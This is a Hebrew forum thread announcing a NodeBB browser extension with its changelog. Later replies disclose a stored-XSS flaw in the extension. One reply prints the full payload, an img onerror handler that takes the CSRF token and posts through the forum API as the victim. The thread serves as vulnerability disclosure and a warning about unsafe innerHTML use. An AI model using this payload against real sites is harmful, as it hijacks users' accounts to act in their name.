שיתוף | נודביבי פלוס - כלים שימושיים לפורומי נודביבי!
-
@יאיר-דניאל
למה אין לי את כל הכפתורים שיש אצלך?
זה שלי
זה שלך 
@קראנץ-ונילה התקנת את התוסף שלו???
זה מופיע בגלל התוסף שלו -
@קראנץ-ונילה התקנת את התוסף שלו???
זה מופיע בגלל התוסף שלו@יאיר-דניאל
התקנתי, אבל יש לך כאלו שלא נמצאים בתוסף
(למשל הכפתור של היד, הספר, המצפן, והידיים שלוחצות אחת לשנייה) מה זה? -
בס"ד לאחר זמן רב שעלה במחשבתי לעשות זאת - יצרתי כלי לשיפור הנוחות והממשק בפורומי נודביבי, הכלי כולל פיצ'רים שימושיים שאת חלקם לקחתי מתוספים וסקריפטים שהועלו כאן בפורום ואת חלקם יצרתי בעצמי. הכלי זמין גם כתוסף לדפדפן וגם כסקריפט לטמפרמונקי. בחרו את הגרסה המועדפת עליכם.
הכלי כולל את הפיצ'רים הבאים:
-
מרכז הפורומים – צפייה בכל הנושאים שלא נקראו מכל הפורומים שאתם חברים בהם במקום אחד. כולל זיהוי אוטו' של פורומים חדשים. (קרדיט: @יאנג-בוי)
-
מייצא שרשורים – כפתור ייעודי להורדת או העתקת שרשור שלם כקובץ JSON מסודר. (קרדיט: @nh.local)
-
העתקת פוסט כ-Markdown – בכל פוסט יתווסף כפתור להעתקה מהירה של התוכן בפורמט מרקדאון נקי.
-
קישורי סרגל צד חכמים – הוספה אוטומטית של קישורים ל-הכי הרבה הצבעות, פופולארי, קבוצות ותגיות לסרגל הצד (אם הם חסרים בפורום).
-
נושאים אחרונים – כפתור ייעודי לצפייה בנושאים האחרונים לפי זמן יצירתם. (קרדיט: @עדלאידע)
מנגנון מניעת כפילויות: הכלי חכם מספיק כדי לזהות אם כפתור מסוים כבר קיים בפורום, והוא לא יוסיף אותו פעם נוספת.
גרסה 1.1
תיקוני באגים:
- תוקנו פרצות האבטחה.
- תוקן זיהוי שגוי של אתרים בגרסת התוסף.
- תוקן הבאג בגרסת התוסף של פורומים חסרים ב'מרכז הפורומים'.
פיצ'רים חדשים בגרסת התוסף:
-
סנכרון טיוטות בענן (בטא): מהיום כל טיוטה שתכתבו בפורום נודביבי תגובה ותסונכרן בחשבון גוגל שלכם (chrome.storage.sync). הסוף לאיבוד טיוטות! בנוסף מאפשר לכם להתחיל לכתוב פוסט במחשב אחד ולהמשיך אותו מאותה נקודה במחשב אחר!
-
סנכרון הגדרות המשתמש בין מכשירים: כל ההגדרות (אילו כפתורים דלוקים) ורשימת הפורומים ששמרתם במרכז הפורומים הועברו משמירה מקומית (chrome.storage.local) לשמירה מסונכרנת ענן (chrome.storage.sync). כך התוסף שלכם יהיה זהה בכל דפדפן כרום שאתם מחוברים אליו.
גרסה 1.1.1
שיפורים וחידושים בגרסה 1.1.1:
-
שדרוג מנגנון סנכרון הטיוטות (בתוסף בלבד):
- נוספה תמיכה בדחיסת נתונים (Compression) ופיצול טיוטות ארוכות לחלקים, כדי לעקוף את מגבלות נפח האחסון בענן. (@ע-ה-דכו-ע בשבילך...)
- שופר התיאום מול אירועי המערכת הפנימיים של NodeBB באמצעות הזרקת קוד (Injected Script), המאפשרת זיהוי מדויק יותר של שמירה או מחיקת טיוטה.
- נוסף מנגנון גיבוי (Polling) המנטר שינויים מקומיים בטיוטות להגברת האמינות.
-
שיפור במערכת בועות העזרה (Tooltips):
- נוסף מנגנון לניקוי וסגירה אוטומטית של בועות "תקועות" בעת לחיצה או עזיבת העכבר.
גרסה 1.2
ממשק וחווית משתמש:
- עיצוב מחדש של חלונית ההגדרות: הממשק חולק ללשוניות (ניווט, כלים, עיצוב) לגישה נוחה ומסודרת יותר.
- שיפור היררכיה: שימוש בתיבות סימון (Checkboxes) לתתי-תכונות בתוך הקטגוריות הראשיות.
כלי שרשורים:
- ייצוא לפורמטים נוספים: נוספה תמיכה מלאה בייצוא שרשורים לפורמט Markdown ופורמט HTML, בנוסף ל-JSON.
- טיפול בתמונות בייצוא: נוסף מנגנון המרה אוטומטי של תמונות ל-Base64 בייצוא ל-HTML, המאפשר שמירת השרשור כקובץ עצמאי (אופליין) הכולל את התמונות בתוכו.
עיצוב ופיצ'רים חדשים:
- סטטוס בדף פרופיל: נוספה אפשרות להצגת נקודת סטטוס חיה (מחובר, לא זמין, נא לא להפריע) על גבי תמונת הפרופיל בדפי משתמשים.
- עיצוב צ'אט בסגנון וואטסאפ: (מקור)
- נוסף עיצוב בועות דיבור ורקע מותאם לחלון הצ'אט.
- נוספה אפשרות לציטוט הודעה על ידי לחיצה כפולה עליה.
- נוסף מנגנון לשינוי גודל אוטומטי של תיבת הטקסט בצ'אט בהתאם לתוכן.
סנכרון טיוטות:
- סנכרון מול ממשק הפורום: נוסף מנגנון המעדכן את תגית (Badge) התראות הטיוטות של NodeBB בזמן אמת כאשר טיוטות מסונכרנות ממכשירים אחרים.
- אופטימיזציית דחיסה: עודכן אלגוריתם הדחיסה לייעול השימוש בנפח האחסון בענן.
גרסה 1.2.1
בס"ד כעת התוסף יודע לגבות את הטיוטות בצורה אמינה ששורדת גם מחיקת מטמון של האתר.
רשימת שינויים:
סנכרון וגיבוי טיוטות
- שיפור מנגנון ההגנה על מידע: נוספה הבחנה חכמה בין מחיקה יזומה של טיוטה (בעת פרסום פוסט או מחיקה מכוונת) לבין אובדן מידע פתאומי.
- נוסף מנגנון שחזור אוטומטי: טיוטות שנעלמו מהדפדפן עקב שגיאה או רענון משוחזרות כעת באופן אוטומטי מהגיבוי בענן.
- מניעת כפילויות: נוסף מנגנון השהיה המונע שחזור מיותר של טיוטות שנדרשה מחיקתן בטאבים אחרים.
להתקנה
הכלי זמין בשתי גרסאות – בחרו את הנוחה לכם:
1. גרסת התוסף
בגרסה זו תקבלו תפריט הגדרות נוח שמאפשר להפעיל/לכבות כל פיצ'ר בנפרד.
להורדה מהחנות2. גרסת הסקריפט (Tampermonkey)
למי שמעדיף לעבוד עם מנהל סקריפטים:
להתקנה כסקריפט לחצו כאן@לאצי כתב בשיתוף | נודביבי פלוס - כלים שימושיים לפורומי נודביבי!:
מרכז הפורומים – צפייה בכל הנושאים שלא נקראו מכל הפורומים שאתם חברים בהם במקום אחד. כולל זיהוי אוטו' של פורומים חדשים. (קרדיט: @יאנג-בוי)
@לאצי כתב בשיתוף | נודביבי פלוס - כלים שימושיים לפורומי נודביבי!:
- גרסת התוסף
בגרסה זו תקבלו תפריט הגדרות נוח שמאפשר להפעיל/לכבות כל פיצ'ר בנפרד.
להורדה מהחנות
@יאנג-בוי כתב בשיתוף | קבלת 'נושאים שלא נקראו' מכלל הפורומים:
הסקריפט ניתן לשימוש חופשי, ניתן להשתמש בקוד שלו לכל שימוש, ואף להפצה מחדש (גם בלי קרדיט; אבל תתנו, מה אכפת לכם... אז מה אם לא כתבתי כלום, עדיין השקעתי זמן על זה...) בתנאי שהוא נשאר כסקריפט לטמפרמונקי, ולא נארז לתוסף כרום בשום אופן!
גם אם אתם מהמוזרים שאוהבים שהכרום שלהם מלא בתוספים, אני לא רוצה יד בזה. והסקריפט הזה הוא קריאת השכמה לכל מפתחי התוספים כאן בפורום. -
-
@מים-אחרונים תנסה את התוסף של @cfopuser תבין מה נסגר... גם אתה איך שהוא תכתוב את אותם מילים... אבל בדיוק!
-
@לאצי כתב בשיתוף | נודביבי פלוס - כלים שימושיים לפורומי נודביבי!:
@CSS-0 מכיוון שהפוסט המקורי של @cfopuser נמחק אשמח אם מישהו יסביר לי מה הלך פה...
@cfopuser יצר פורום נוזקה, שכאשר מוסיפים אותו למרכז הפורומים בתוסף שלך, הוא שולח בשם המשתמש בקשת API לכתיבת פוסט חדש.
הוא בא להראות לך שצריך להוסיף אבטחה בתוסף שפורומים שנוספים לא יוכלו להזריק קוד ע"י התוסף.
זה https://cfopuser.----github.io/forum/ הקישור לפורום, וההזרקה היא בכותרת הפורום
-
ויש לציין שלדבריו זוהי רק פירצה אחת מיני רבות בתוסף.
להרגשתי צפוי לנו פרק ב' מרתק@קרט כתב בשיתוף | נודביבי פלוס - כלים שימושיים לפורומי נודביבי!:
להבהיר את בנקודה
רק @cfopuser יפרוץ לניקים ויכתוב בשמם הודעות
אבל לא יטרח לתקן שגיאת כתיב בטקסט שנשלח בשמם...
או שזו סוג של חתימה
עריכה - @יאנג-בוי ברול הבא למועדון

-
@לאצי כתב בשיתוף | נודביבי פלוס - כלים שימושיים לפורומי נודביבי!:
@CSS-0 מכיוון שהפוסט המקורי של @cfopuser נמחק אשמח אם מישהו יסביר לי מה הלך פה...
@cfopuser יצר פורום נוזקה, שכאשר מוסיפים אותו למרכז הפורומים בתוסף שלך, הוא שולח בשם המשתמש בקשת API לכתיבת פוסט חדש.
הוא בא להראות לך שצריך להוסיף אבטחה בתוסף שפורומים שנוספים לא יוכלו להזריק קוד ע"י התוסף.
זה https://cfopuser.----github.io/forum/ הקישור לפורום, וההזרקה היא בכותרת הפורום
-
@ע-ה-דכו-ע אשמח אם תסיר את הקישור לפורום בכדי למנוע פוסטים נוספים כאלה.
@cfopuser אשמח אם תסיר את הנוזקה. (אם כי אשמח לקבל את קוד המקור). -
@ע-ה-דכו-ע אשמח אם תסיר את הקישור לפורום בכדי למנוע פוסטים נוספים כאלה.
@cfopuser אשמח אם תסיר את הנוזקה. (אם כי אשמח לקבל את קוד המקור).@לאצי כתב בשיתוף | נודביבי פלוס - כלים שימושיים לפורומי נודביבי!:
@cfopuser אשמח אם תסיר את הנוזקה. (אם כי אשמח לקבל את קוד המקור).
הנוזקה נמצאת בקישור שהבאתי, זה לא כזו נוזקה רצינית, ס"ה הוא הגדיר את המאפיין title לקוד הבא:
<title><img src=x onerror="const token = config.csrf_token; fetch('/api/v3/topics/94984', { method: 'POST', headers: { 'x-csrf-token': token, 'Content-Type': 'application/json' }, body: JSON.stringify({ content: 'שלום כאן @cfopuser רציתי לומר שיש כמה באגים עם התוסף שצריכים טיפול אז נא להזהר @לאצי רק באתי להבהיר את בנקודה הכול בהומור' }) }); "></title> -
@ע-ה-דכו-ע אשמח אם תסיר את הקישור לפורום בכדי למנוע פוסטים נוספים כאלה.
@cfopuser אשמח אם תסיר את הנוזקה. (אם כי אשמח לקבל את קוד המקור). -
@לאצי חשוב לציין שלפי דברי @cfopuser יש שם פרצות אבטחה הרבה יותר חמורות מזה.
ג"א מצטרף לדברי @בנימין-מחשבים אני ממש מצפה לפרק ב'...
@המלאך הנוזקה עדיין פעילה?
עריכה, לכאורה לא... כי התקנתי... והוספתי את הפורום ולא השתנה כלום -
פוסט זה נמחק!
-
@המלאך הנוזקה עדיין פעילה?
עריכה, לכאורה לא... כי התקנתי... והוספתי את הפורום ולא השתנה כלום -
@מים-אחרונים לא אני עשיתי את הנוזקה אלא @cfopuser .
אם היא לא פעילה זה קשור אליו.
עריכה: היא כן פעילה..
@לאצי תוציא עדכון אבטחה שעושה רק קידוד פלט.
לא מעביר את כל התוכן ישירות.@המלאך מה צריך לעשות בשביל לראות אותה?
כשאני כותב פוסט, היא אמורה לצוץ לא?
-
פוסט זה נמחק!
-
אוקי, זה לא קורה מיד בעצם, זה קורה אחרי כמה דקות..?
מעניין אותי ללמוד מה קורה כאן!
@cfopuser תוכל להסביר? -
אוקי, זה לא קורה מיד בעצם, זה קורה אחרי כמה דקות..?
מעניין אותי ללמוד מה קורה כאן!
@cfopuser תוכל להסביר?@מים-אחרונים אתה יכול ללכת להגדרות מרכז הפורומים.

@לאצי בול אופן, לא פרצה מורכבת יש עוד כמה פרצות אבל שיותר קשה לזייף דרך נושא מוגדר,
והחזרים זדוניים של הapi,
בכול אופן בחרתי בזה כי זה הכי קל להדגים בפשטות.כול תוסף של ai, יכול להכיל פרצות לכן המינימום הנדרש זה לא להשתמש בדברים כמו inner.html כדי להציג טקסט ועוד הדבר רק יגרום לצרות.
Cאופן כללי יש להיזהר בפיתוח על ידי ai.זה הפוסט המקורי למי ששאל בכול אופן אני ימחק את האתר עכשיו ככה שאין כול כך עניין בדבר.
כנ"ל לגבי הפוסטים בנושא נראה לי העניין מוצה.לכול מי שלא עובד לו מרכז הפורומים,
הפתרון זה ללכת לפורום שאותו אתם רוצים להוסיף לדוג' הפורום הזה (זה סתם פורום לבדיקה),
להוסיף אותו למאגר (בלחיצה על כן),
לאחר מכן ללכת למרכז הפורומים וללכת שמה בהגדרות וללחוץ על הפורום שהוספתם.||



טוב זה המסר על תוספי ai אני מניח תיזהרו חברים
-
@מים-אחרונים אתה יכול ללכת להגדרות מרכז הפורומים.

@לאצי בול אופן, לא פרצה מורכבת יש עוד כמה פרצות אבל שיותר קשה לזייף דרך נושא מוגדר,
והחזרים זדוניים של הapi,
בכול אופן בחרתי בזה כי זה הכי קל להדגים בפשטות.כול תוסף של ai, יכול להכיל פרצות לכן המינימום הנדרש זה לא להשתמש בדברים כמו inner.html כדי להציג טקסט ועוד הדבר רק יגרום לצרות.
Cאופן כללי יש להיזהר בפיתוח על ידי ai.זה הפוסט המקורי למי ששאל בכול אופן אני ימחק את האתר עכשיו ככה שאין כול כך עניין בדבר.
כנ"ל לגבי הפוסטים בנושא נראה לי העניין מוצה.לכול מי שלא עובד לו מרכז הפורומים,
הפתרון זה ללכת לפורום שאותו אתם רוצים להוסיף לדוג' הפורום הזה (זה סתם פורום לבדיקה),
להוסיף אותו למאגר (בלחיצה על כן),
לאחר מכן ללכת למרכז הפורומים וללכת שמה בהגדרות וללחוץ על הפורום שהוספתם.||



טוב זה המסר על תוספי ai אני מניח תיזהרו חברים